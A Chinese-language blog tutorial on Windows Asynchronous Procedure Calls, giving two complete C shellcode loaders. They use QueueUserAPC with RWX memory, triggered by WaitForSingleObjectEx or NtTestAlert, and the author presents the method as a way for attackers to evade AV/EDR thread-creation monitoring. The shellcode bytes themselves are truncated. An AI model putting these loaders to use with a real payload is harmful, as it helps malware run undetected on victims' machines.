前言

本篇博客主要介绍APC是什么、APC函数何时被执行,不会包含太多深层次的分析,主要是介绍APC如何被用来执行shellcode

APC介绍

APC,全称Asynchronous Procedure Calls,译为异步过程调用,在Windows下是一种机制(我猜测在其他操作系统下也是类似的机制),允许异步执行函数,所谓的异步执行,指的是当前线程执行过程中,有一个异步执行任务,当前线程无需等待这个异步执行任务,可以继续执行,相对应的,同步执行,指的是当前线程执行过程中,有一个同步执行任务,当前线程需要等待这个同步执行任务,无法继续执行,同步执行的结果当场就返回了,异步执行的结果是通过一个回调机制返回

Windows中关于APC的一个重要特点是,只有线程处于警报状态时,线程APC队列中的APC函数才会执行,通过调用SleepEx()、WaitForSingleObjectEx()、SignalObjectAndWaitEx()、SignalObjectAndWait()、WaitForMultipleObjectsEx()可以让线程处于警报状态

Windows中的APC包含多种类型,也分为用户模式和内核模式,本文中我们只关注用户模式下的QueueUserAPC

APC执行Shellcode

为什么APC可以用于shellcode执行或远程进程注入,可以使用QueueUserAPC执行shellcode,而无需使用CreateThread/CreateThreadEx创建线程,或使用QueueUserAPC注入到远程线程,而无需使用CreateRemoteThread/CreateRemoteThreadEx创建远程线程,尤其是CreateRemoteThread/CreateRemoteThreadEx会被AV/EDR严格监控,通过用户模式Hook或者注册内核回调(PsProcessNotifyRoutine/PsThreadNotifyRoutine)

当使用用户模式APC执行shellcode,不管是本地线程还是远程线程,总是会创建一个新的用户模式APC队列,你可以想象APC是排队取餐的顾客,遵循先进先出的原则,接下来我们通过WaitForSingleObjectEx()让线程处于警报状态,以此触发当前APC队列中APC函数的执行,下列C语言实现的代码片段,展示了用户模式APC注入,没有规避RWX内存特征、没有进行shellcode加密,只是一个demo展示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <windows.h>
#include <stdio.h>


int main() {
// 定义shellcode
unsigned char shellcode[] = "\xfc\x48\x83...";


// 申请内存
PVOID addr = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);


// 拷贝shellcode到申请的内存
memcpy(addr, shellcode, sizeof(shellcode));


// 为当前线程创建一个新的用户模式APC队列,队列中有一个函数
// 第一个参数为要执行的函数,指向申请内存的指针被强制转换为函数指针类型
// 第二个参数是线程句柄,通过GetCurrentThread()获取当前线程的伪句柄
// 第三个参数是要执行函数的参数,当前执行的函数无需参数,所以为NULL
QueueUserAPC((PAPCFUNC)addr, GetCurrentThread(), NULL);


// 这个函数使当前线程进入警报的wait状态
// INFINITE表示这个wait是无期限的,也就是不会超时,线程会等候直到APC函数被执行或者其它形式的唤醒被触发
// TRUE参数表示这个wait是警报状态的,那会触发APC队列中的函数执行
WaitForSingleObjectEx(GetCurrentThread(), INFINITE, TRUE);

return 0;
}

NtTestAlert

正如代码注释中提到的,第一步是通过QueueUserAPC创建一个新的用户模式APC队列,然后通过WaitForSingleObjectEx让线程处于警报状态,进而触发APC函数的执行,上述方案中,可以替换的部分是WaitForSingleObjectEx,可以通过NtTestAlert强制APC队列中的函数执行,无需让线程处于警报状态

换句话说,NtTestAlert的主要作用就是检查APC队列中是否有函数未被执行,如果有的话将执行它们,如果在调用NtTestAlert之前APC队列为空,则该函数将简单地返回,不产生任何影响,它的这个特点对于执行线程APC队列中的函数很有用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <windows.h>
#include <stdio.h>


// NtTestAlert是Windows中的Native API,无法直接拿来用,需要先声明函数原型,动态获取后通过函数指针调用
typedef NTSTATUS(NTAPI* PFN_NTTESTALERT)();


int main() {
// 定义shellcode
unsigned char shellcode[] = "\xfc\x48\x83...";


// 获取ntdll的模块句柄
HMODULE hNtdll = GetModuleHandleA("ntdll");


// 获取NtTestAlert的指针,并强制转换为上面声明的函数原型的类型
PFN_NTTESTALERT NtTestAlert = (PFN_NTTESTALERT)GetProcAddress(hNtdll, "NtTestAlert");


// 申请内存
PVOID addr = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);


// 拷贝shellcode到申请的内存
memcpy(addr, shellcode, sizeof(shellcode));


// 为当前线程创建一个新的用户模式APC队列,队列中有一个函数
// 第一个参数为要执行的函数,指向申请内存的指针被强制转换为函数指针类型
// 第二个参数是线程句柄,通过GetCurrentThread()获取当前线程的伪句柄
// 第三个参数是要执行函数的参数,当前执行的函数无需参数,所以为NULL
QueueUserAPC((PAPCFUNC)addr, GetCurrentThread(), NULL);


// 通过NtTestAlert执行APC队列中的函数
NtTestAlert();


return 0;
}

总结

本文已经讲解了APC如何被用来执行shellcode,这使攻击者可以用来绕过监控CreateThread()/CreateThreadEx()或CreateRemoteThread/CreateRemoteThreadEx的AV/EDR,虽然本文只是演示APC在本地进程的用法,我相信APC在远程进程注入中会更有用